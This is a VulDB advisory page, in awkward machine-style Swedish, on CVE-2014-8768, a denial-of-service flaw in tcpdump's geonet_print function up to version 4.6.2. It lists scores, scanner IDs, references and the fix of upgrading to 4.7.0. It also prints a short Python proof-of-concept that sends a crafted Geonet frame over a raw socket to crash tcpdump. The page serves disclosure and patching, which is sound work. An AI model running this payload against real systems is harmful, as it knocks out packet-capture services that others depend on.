tcpdump till 4.6.2 Geonet Frame geonet_print förnekande av tjänsten
CVSS Meta Temp poäng | Nuvarande exploateringspris (≈) | CTI intressepoäng |
---|---|---|
4.8 | $0-$5k | 0.00 |
Det var en problematiskt svag punkt upptäcktes i tcpdump till 4.6.2 (Packet Analyzer Software). Som påverkar funktionen geonet_print
av komponenten Geonet Frame Handler. Manipulering en okänd ingång leder till en sårbarhet klass förnekande av tjänsten svag punkt.
Den svaga punkten är publicerad 17/11/2014 av Steffen Bauch i en form posting (Bugtraq) (bekräftad). Den rådgivande finns tillgänglig för nedladdning på archives.neohapsis.com. Denna svaga punkt behandlas som CVE-2014-8768. De kan lätt utnyttjas. Attacken på nätet kan. Ingen autentisering-krävs för användning. Det finns tekniska detaljer och en exploit känd.
Det var en exploit utvecklats av Steffen Bauch i Python och släpptes omedelbart efter rapporten. Den exploit kan laddas ner från archives.neohapsis.com. Han deklarerade proof-of-concept. För vulnerability scanner Nessus en plugin har släppts med ID 79608 (Fedora 20 : tcpdump-4.5.1-2.fc20 (2014-15541)), så att sårbarheten kan testas. Den kod som används av utnyttja är:
#!/usr/bin/env python from socket import socket, AF_PACKET, SOCK_RAW s = socket(AF_PACKET, SOCK_RAW) s.bind(("lo", 0)) geonet_frame = "\x00\x1f\xc6\x51\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\xc6\x51\x07\x07\x07\x07\x07\x07\xef\x06\x07\x35\x97\x00\x24\x8c\x7a\xdf\x6f\x08\x00\x45\x00\x00\x3d\xf3\x7f\x40\x00\x40\x11\x30\xc6\x0a\x01\x01\x68\x0a\x01\x01\x01\x99\x80\x00\x35\x00\x29\x16\xa5\x01\x76\x01\x00\x00\xff\x00\x00\x01\x00\x00\x00" s.send(geonet_frame)
En uppgradering till den version 4.7.0 att åtgärda problemet. Genom att installera en lapp, kan problemet lösas. Som bläst Lappa åtgärder rekommenderas. En möjlig åtgärd har utfärdats före och inte efter offentliggörandet.
Sårbarheten dokumenteras i databaser X-Force (98766), Tenable (79608) och Exploit-DB (35359).
Produkt
Typ
namn
Version
Licens
CPE 2.3
CPE 2.2
CVSSv4
VulDB CVSS-B Score: 🔍VulDB CVSS-BT Score: 🔍
VulDB Vektor: 🔍
VulDB Pålitlighet: 🔍
CVSSv3
VulDB Meta Basscore: 5.3VulDB Meta Temp poäng: 4.8
VulDB Baspoäng: 5.3
VulDB Temp Betyg: 4.8
VulDB Vektor: 🔍
VulDB Pålitlighet: 🔍
CVSSv2
AV | AC | Au | C | I | A |
---|---|---|---|---|---|
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
Vektor | Komplexitet | Autentisering | Sekretess | Integritet | Tillgänglighet |
---|---|---|---|---|---|
låsa upp | låsa upp | låsa upp | låsa upp | låsa upp | låsa upp |
låsa upp | låsa upp | låsa upp | låsa upp | låsa upp | låsa upp |
låsa upp | låsa upp | låsa upp | låsa upp | låsa upp | låsa upp |
VulDB Baspoäng: 🔍
VulDB Temp Betyg: 🔍
VulDB Pålitlighet: 🔍
NVD Baspoäng: 🔍
Utnyttjar
Klass: Förnekande av tjänstenCWE: CWE-189
ATT&CK: Okänd
Lokal: Nej
Avlägsen: Ja
Tillgänglighet: 🔍
Tillgång: Offentlig
Status: Proof-of-Concept
Författare: Steffen Bauch
Programmeringsspråk: 🔍
Ladda ner: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Pris förutsägelse: 🔍
Nuvarande prisuppskattning: 🔍
0-Day | låsa upp | låsa upp | låsa upp | låsa upp |
---|---|---|---|---|
I dag | låsa upp | låsa upp | låsa upp | låsa upp |
Nessus ID: 79608
Nessus namn: Fedora 20 : tcpdump-4.5.1-2.fc20 (2014-15541)
Nessus Fil: 🔍
Nessus Risk: 🔍
Nessus Family: 🔍
OpenVAS ID: 867259
OpenVAS namn: Fedora Update for tcpdump FEDORA-2014-15541
OpenVAS Fil: 🔍
OpenVAS Family: 🔍
Qualys ID: 🔍
Qualys namn: 🔍
Exploit-DB: 🔍
Hotinformation
Intressera: 🔍Aktiva skådespelare: 🔍
Aktiva APT-grupper: 🔍
Motåtgärder
Rekommenderad: LappaStatus: 🔍
0-dagars tid: 🔍
Utnyttja fördröjningstid: 🔍
Upgrade: tcpdump 4.7.0
Tidslinje
12/11/2014 🔍13/11/2014 🔍
17/11/2014 🔍
17/11/2014 🔍
18/11/2014 🔍
18/11/2014 🔍
19/11/2014 🔍
20/11/2014 🔍
20/11/2014 🔍
24/11/2014 🔍
02/12/2014 🔍
24/02/2022 🔍
Källor
Produkt: tcpdump.orgRådgivande: USN-2433-1
Forskare: Steffen Bauch
Status: Bekräftad
Bekräftelse: 🔍
CVE: CVE-2014-8768 (🔍)
OVAL: 🔍
X-Force: 98766 - tpcdump geonet_print() denial of service, Medium Risk
SecurityTracker: 1031235 - Tcpdump Multiple Flaws Let Remote Users Deny Service
Vulnerability Center: 47375 - RedHat tcpdump 4.5.0 Through 4.6.2 Remote Denial-of Service via a Crafted Length in an Geonet frame, Medium
SecurityFocus: 71155 - tcpdump 'geonet_print()' Function Denial of Service Vulnerability
scip Labs: https://www.scip.ch/en/?labs.20161013
Se även: 🔍
Inträde
Skapad: 19/11/2014 10:40Uppdaterad: 24/02/2022 23:46
Ändringar: 19/11/2014 10:40 (86), 13/06/2017 08:43 (7), 24/02/2022 23:35 (3), 24/02/2022 23:46 (1)
Komplett: 🔍
Inga kommentarer än. språk: sv + en.
Logga in för att kommentera.